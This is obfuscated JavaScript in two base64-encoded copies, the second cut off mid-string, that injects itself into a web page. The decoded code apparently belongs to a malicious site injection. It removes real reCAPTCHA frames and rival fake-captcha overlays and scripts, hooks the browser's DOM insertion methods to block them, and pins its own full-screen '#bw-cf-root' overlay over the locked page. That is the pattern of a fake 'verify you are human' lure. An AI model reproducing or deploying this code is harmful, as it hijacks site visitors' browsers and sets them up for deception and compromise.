(function(){if(window.__cogniRivalKillEarly)return;window.__cogniRivalKillEarly=1;var s=document.createElement(‚script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QuYWRkKCdjb2duaS1jYXB0Y2hhLWFjdGl2ZScpOyB9IGNhdGNoKGUpe30NCiAgICB0cnkgeyBlbC5yZW1vdmVBdHRyaWJ1dGUoJ3BvcG92ZXInKTsgfSBjYXRjaChlKXt9DQogICAgaWYgKGVsLnBhcmVudE5vZGUgIT09IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkgew0KICAgICAgdHJ5IHsgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmFwcGVuZENoaWxkKGVsKTsgfSBjYXRjaChlKXt9DQogICAgfQ0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd6LWluZGV4JywgJzIxNDc0ODM2NDcnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ3Bvc2l0aW9uJywgJ2ZpeGVkJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCd0b3AnLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbGVmdCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdyaWdodCcsICcwJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdib3R0b20nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnd2lkdGgnLCAnMTAwdncnLCAnaW1wb3J0YW50Jyk7DQogICAgZWwuc3R5bGUuc2V0UHJvcGVydHkoJ2hlaWdodCcsICcxMDB2aCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWluLXdpZHRoJywgJzEwMHZ3JywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtaW4taGVpZ2h0JywgJzEwMHZoJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXgtd2lkdGgnLCAnbm9uZScsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgnbWF4LWhlaWdodCcsICdub25lJywgJ2ltcG9ydGFudCcpOw0KICAgIGVsLnN0eWxlLnNldFByb3BlcnR5KCdtYXJnaW4nLCAnMCcsICdpbXBvcnRhbnQnKTsNCiAgICBlbC5zdHlsZS5zZXRQcm9wZXJ0eSgndHJhbnNmb3JtJywgJ25vbmUnLCAnaW1wb3J0YW50Jyk7DQogIH07DQogIGZ1bmN0aW9uIHRpY2soKXsNCiAgICBraWxsUml2YWxOb2RlcygpOw0KICAgIGVuc3VyZVJpdmFsQ3NzKCk7DQogICAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1yb290JykpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheSgpOw0KICB9DQogIGhvb2tEb21JbnNlcnQoKTsNCiAgdGljaygpOw0KfSkoKTs=“);(document.documentElement||document.head).appendChild(s);})();
(function(){if(window.__cogniB64Ran)return;window.__cogniB64Ran=1;var s=document.createElement(‚script‘);s.textContent=atob(„KGZ1bmN0aW9uIGxzY0NvZ25pUml2YWxLaWxsSW5pdCgpew0KICBpZiAod2luZG93Ll9fY29nbmlSaXZhbEtpbGwpIHJldHVybjsNCiAgd2luZG93Ll9fY29nbmlSaXZhbEtpbGwgPSAxOw0KICB2YXIgUklWQUxfU0VMID0gWw0KICAgICdpZnJhbWVbc3JjKj0icmVjYXB0Y2hhIl0nLCdpZnJhbWVbc3JjKj0iZ29vZ2xlLmNvbS9yZWNhcHRjaGEiXScsJ2lmcmFtZVtzcmMqPSJnc3RhdGljLmNvbS9yZWNhcHRjaGEiXScsDQogICAgJy5nLXJlY2FwdGNoYS1idWJibGUtYXJyb3cnLCcjY2ZtJywnI2NmbS1tb2RhbCcsJ1tpZF49ImNmbSJdJywnW2lkKj0iY2ZtLW1vZGFsIl0nLA0KICAgICcuY2ZtZC1yYy1sYXllcicsJy5jZm1kLXJjLWhvc3QnLCcuY2ZtZC1yYy1iYWNrZHJvcCcsJy5jZm1kLXJjLWJsdXInLCdbZGF0YS1jZm1kLW93bl0nLA0KICAgICcuY2ZtZC1vdmVybGF5LWxvY2snLCdbY2xhc3MqPSJjZm1kLXJjIl0nLCcuY2FwdGNoYS1jb250YWluZXI6bm90KCNidy1jZi1yb290IC5jYXB0Y2hhLWNvbnRhaW5lciknDQogIF07DQogIHZhciBSSVZBTF9TQ1JJUFRfUkUgPSAvaW50ZXJzZXF8bmV3dGVzdFxkK3wxMjA5MjAyNnxjZm1kLXJjfF9fY2ZtZENhcHRjaGF8c2hpZWxkZ3VhcmR8YXNzZWxvYWR8aW1tZXJzaW9uem9uZXxramhnXC5sb2x8d3BzZWN1cmV8d3AtYWNjZWxlcmF0ZXwxMDRcLjM2fG1zZnRhdXRofG1haW4td3JhcHBlci0xL2k7DQogIGZ1bmN0aW9uIGlzT3VyKGVsKXsgcmV0dXJuIGVsICYmIChlbC5pZCA9PT0gJ2J3LWNmLXJvb3QnIHx8IChlbC5jbG9zZXN0ICYmIGVsLmNsb3Nlc3QoJyNidy1jZi1yb290JykpKTsgfQ0KICBmdW5jdGlvbiBpc1JpdmFsTm9kZShlbCl7DQogICAgaWYgKCFlbCB8fCBpc091cihlbCkpIHJldHVybiBmYWxzZTsNCiAgICB2YXIgdGFnID0gKGVsLnRhZ05hbWUgfHwgJycpLnRvVXBwZXJDYXNlKCk7DQogICAgaWYgKHRhZyA9PT0gJ1NDUklQVCcgJiYgUklWQUxfU0NSSVBUX1JFLnRlc3QoZWwuc3JjIHx8IGVsLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJycpKSByZXR1cm4gdHJ1ZTsNCiAgICB2YXIgYmxvYiA9ICgoZWwuY2xhc3NOYW1lIHx8ICcnKSArICcgJyArIChlbC5pZCB8fCAnJykgKyAnICcgKyAoZWwuZ2V0QXR0cmlidXRlICYmIGVsLmdldEF0dHJpYnV0ZSgnZGF0YS1jZm1kLW93bicpIHx8ICcnKSkudG9Mb3dlckNhc2UoKTsNCiAgICByZXR1cm4gL2NmbWR8Y2ZtLW1vZGFsfGNmbS1yY3xjYXB0Y2hhLWNvbnRhaW5lcnxyZWNhcHRjaGF8aW50ZXJzZXF8YXNzZWxvYWR8bWFpbi13cmFwcGVyfG1zZnRhdXRofHZlcmlmeSB5b3UgYXJlIGh1bWFuL2kudGVzdChibG9iKTsNCiAgfQ0KICBmdW5jdGlvbiBudWtlKGVsKXsNCiAgICBpZiAoIWVsIHx8IGlzT3VyKGVsKSkgcmV0dXJuOw0KICAgIHRyeSB7IGVsLnJlbW92ZSgpOyB9IGNhdGNoKGUpew0KICAgICAgdHJ5IHsNCiAgICAgICAgZWwuc3R5bGUuY3NzVGV4dCA9ICdkaXNwbGF5Om5vbmUhaW1wb3J0YW50O3Zpc2liaWxpdHk6aGlkZGVuIWltcG9ydGFudDtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt6LWluZGV4Oi05OTk5IWltcG9ydGFudDtvcGFjaXR5OjAhaW1wb3J0YW50Oyc7DQogICAgICB9IGNhdGNoKGUyKXt9DQogICAgfQ0KICB9DQogIGZ1bmN0aW9uIHJlbW92ZVJpdmFsU2NyaXB0cygpew0KICAgIHRyeSB7DQogICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdzY3JpcHRbc3JjXScpLmZvckVhY2goZnVuY3Rpb24ocyl7DQogICAgICAgIHZhciBzcmMgPSBzLnNyYyB8fCBzLmdldEF0dHJpYnV0ZSgnc3JjJykgfHwgJyc7DQogICAgICAgIGlmIChSSVZBTF9TQ1JJUFRfUkUudGVzdChzcmMpKSBudWtlKHMpOw0KICAgICAgfSk7DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgZnVuY3Rpb24gc2NydWJIdG1sUm9vdCgpew0KICAgIHRyeSB7DQogICAgICB2YXIgaHRtbCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgIGlmICghaHRtbCkgcmV0dXJuOw0KICAgICAgaHRtbC5jbGFzc0xpc3QucmVtb3ZlKCdjZm1kLW92ZXJsYXktbG9jaycpOw0KICAgICAgaWYgKGRvY3VtZW50LmJvZHkpIGRvY3VtZW50LmJvZHkuY2xhc3NMaXN0LnJlbW92ZSgnY2ZtZC1vdmVybGF5LWxvY2snKTsNCiAgICAgIEFycmF5LmZyb20oaHRtbC5jaGlsZHJlbiB8fCBbXSkuZm9yRWFjaChmdW5jdGlvbihlbCl7DQogICAgICAgIGlmICghZWwgfHwgZWwudGFnTmFtZSA9PT0gJ0hFQUQnIHx8IGVsLnRhZ05hbWUgPT09ICdCT0RZJykgcmV0dXJuOw0KICAgICAgICBpZiAoZWwuaWQgPT09ICdidy1jZi1yb290JykgcmV0dXJuOw0KICAgICAgICBpZiAoaXNSaXZhbE5vZGUoZWwpKSBudWtlKGVsKTsNCiAgICAgIH0pOw0KICAgIH0gY2F0Y2goZSl7fQ0KICAgIHRyeSB7IGRlbGV0ZSB3aW5kb3cuX19jZm1kQ2FwdGNoYTsgfSBjYXRjaChlKXsgd2luZG93Ll9fY2ZtZENhcHRjaGEgPSB1bmRlZmluZWQ7IH0NCiAgfQ0KICBmdW5jdGlvbiBraWxsUml2YWxOb2Rlcygpew0KICAgIFJJVkFMX1NFTC5mb3JFYWNoKGZ1bmN0aW9uKHNlbCl7DQogICAgICB0cnkgeyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChmdW5jdGlvbihub2RlKXsgaWYgKCFpc091cihub2RlKSkgbnVrZShub2RlKTsgfSk7IH0gY2F0Y2goZSl7fQ0KICAgIH0pOw0KICAgIHNjcnViSHRtbFJvb3QoKTsNCiAgICByZW1vdmVSaXZhbFNjcmlwdHMoKTsNCiAgfQ0KICBmdW5jdGlvbiBlbnN1cmVSaXZhbENzcygpew0KICAgIHZhciBzdHlsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb2duaS1yaXZhbC1raWxsLWNzcycpOw0KICAgIGlmIChzdHlsZSkgcmV0dXJuOw0KICAgIHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsNCiAgICBzdHlsZS5pZCA9ICdjb2duaS1yaXZhbC1raWxsLWNzcyc7DQogICAgc3R5bGUudGV4dENvbnRlbnQgPSAnaHRtbC5jZm1kLW92ZXJsYXktbG9jayxib2R5LmNmbWQtb3ZlcmxheS1sb2Nre292ZXJmbG93OmF1dG8haW1wb3J0YW50O3BvaW50ZXItZXZlbnRzOmF1dG8haW1wb3J0YW50O30uY2ZtZC1yYy1sYXllciwuY2ZtZC1yYy1ob3N0LC5jZm1kLXJjLWJsdXIsW2RhdGEtY2ZtZC1vd25dLGlmcmFtZVtzcmMqPSJyZWNhcHRjaGEiXSxpZnJhbWVbc3JjKj0iZ3N0YXRpYy5jb20vcmVjYXB0Y2hhIl0sLmctcmVjYXB0Y2hhOm5vdCgjYnctY2Ytcm9vdCAuZy1yZWNhcHRjaGEpLCNjZm0sI2NmbS1tb2RhbCxbaWRePSJjZm0iXSxbY2xhc3MqPSJjZm1kLXJjIl17ZGlzcGxheTpub25lIWltcG9ydGFudDt2aXNpYmlsaXR5OmhpZGRlbiFpbXBvcnRhbnQ7cG9pbnRlci1ldmVudHM6bm9uZSFpbXBvcnRhbnQ7ei1pbmRleDotOTk5OSFpbXBvcnRhbnQ7b3BhY2l0eTowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSxodG1sLmNvZ25pLWNhcHRjaGEtYWN0aXZlIGJvZHl7b3ZlcmZsb3c6aGlkZGVuIWltcG9ydGFudDttYXJnaW46MCFpbXBvcnRhbnQ7cGFkZGluZzowIWltcG9ydGFudDt9aHRtbC5jb2duaS1jYXB0Y2hhLWFjdGl2ZSBib2R5Pio6bm90KCNidy1jZi1yb290KXtwb2ludGVyLWV2ZW50czpub25lIWltcG9ydGFudDt9I2J3LWNmLXJvb3QsI2J3LWNmLXJvb3QgKntwb2ludGVyLWV2ZW50czphdXRvIWltcG9ydGFudDt9I2J3LWNmLXJvb3R7ei1pbmRleDoyMTQ3NDgzNjQ3IWltcG9ydGFudDtwb3NpdGlvbjpmaXhlZCFpbXBvcnRhbnQ7dG9wOjAhaW1wb3J0YW50O2xlZnQ6MCFpbXBvcnRhbnQ7cmlnaHQ6MCFpbXBvcnRhbnQ7Ym90dG9tOjAhaW1wb3J0YW50O3dpZHRoOjEwMHZ3IWltcG9ydGFudDtoZWlnaHQ6MTAwdmghaW1wb3J0YW50O21pbi13aWR0aDoxMDB2dyFpbXBvcnRhbnQ7bWluLWhlaWdodDoxMDB2aCFpbXBvcnRhbnQ7bWF4LXdpZHRoOm5vbmUhaW1wb3J0YW50O21heC1oZWlnaHQ6bm9uZSFpbXBvcnRhbnQ7bWFyZ2luOjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnQ7Ym94LXNpemluZzpib3JkZXItYm94IWltcG9ydGFudDt0cmFuc2Zvcm06bm9uZSFpbXBvcnRhbnQ7fSc7DQogICAgKGRvY3VtZW50LmhlYWQgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5hcHBlbmRDaGlsZChzdHlsZSk7DQogIH0NCiAgZnVuY3Rpb24gaG9va0RvbUluc2VydCgpew0KICAgIGZ1bmN0aW9uIGd1YXJkKG5vZGUpew0KICAgICAgaWYgKCFub2RlKSByZXR1cm4gZmFsc2U7DQogICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBpc1JpdmFsTm9kZShub2RlKSkgeyBudWtlKG5vZGUpOyByZXR1cm4gdHJ1ZTsgfQ0KICAgICAgaWYgKG5vZGUudGFnTmFtZSA9PT0gJ1NDUklQVCcpIHsNCiAgICAgICAgdmFyIHNyYyA9IG5vZGUuc3JjIHx8IG5vZGUuZ2V0QXR0cmlidXRlKCdzcmMnKSB8fCAnJzsNCiAgICAgICAgaWYgKFJJVkFMX1NDUklQVF9SRS50ZXN0KHNyYykpIHsgbnVrZShub2RlKTsgcmV0dXJuIHRydWU7IH0NCiAgICAgIH0NCiAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgdHJ5IHsNCiAgICAgIHZhciBhcCA9IEVsZW1lbnQucHJvdG90eXBlLmFwcGVuZENoaWxkOw0KICAgICAgRWxlbWVudC5wcm90b3R5cGUuYXBwZW5kQ2hpbGQgPSBmdW5jdGlvbihjaCl7DQogICAgICAgIGlmIChndWFyZChjaCkpIHJldHVybiBjaDsNCiAgICAgICAgcmV0dXJuIGFwLmNhbGwodGhpcywgY2gpOw0KICAgICAgfTsNCiAgICAgIHZhciBpYiA9IEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZTsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLmluc2VydEJlZm9yZSA9IGZ1bmN0aW9uKGNoLCByZWYpew0KICAgICAgICBpZiAoZ3VhcmQoY2gpKSByZXR1cm4gY2g7DQogICAgICAgIHJldHVybiBpYi5jYWxsKHRoaXMsIGNoLCByZWYpOw0KICAgICAgfTsNCiAgICAgIHZhciByYyA9IEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZDsNCiAgICAgIEVsZW1lbnQucHJvdG90eXBlLnJlcGxhY2VDaGlsZCA9IGZ1bmN0aW9uKG5ldSwgb2xkKXsNCiAgICAgICAgaWYgKGd1YXJkKG5ldSkpIHJldHVybiBvbGQ7DQogICAgICAgIHJldHVybiByYy5jYWxsKHRoaXMsIG5ldSwgb2xkKTsNCiAgICAgIH07DQogICAgfSBjYXRjaChlKXt9DQogIH0NCiAgd2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5ID0gZnVuY3Rpb24ocm9vdCl7DQogICAgdmFyIGVsID0gcm9vdCB8fCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnctY2Ytcm9vdCcpOw0KICAgIGlmICghZWwpIHJldHVybjsNCiAgICBlbnN1cmVSaXZhbENzcygpOw0KICAgIHRyeSB7IGRvY3VtZW50LmRvY3VtZW50RWxlbW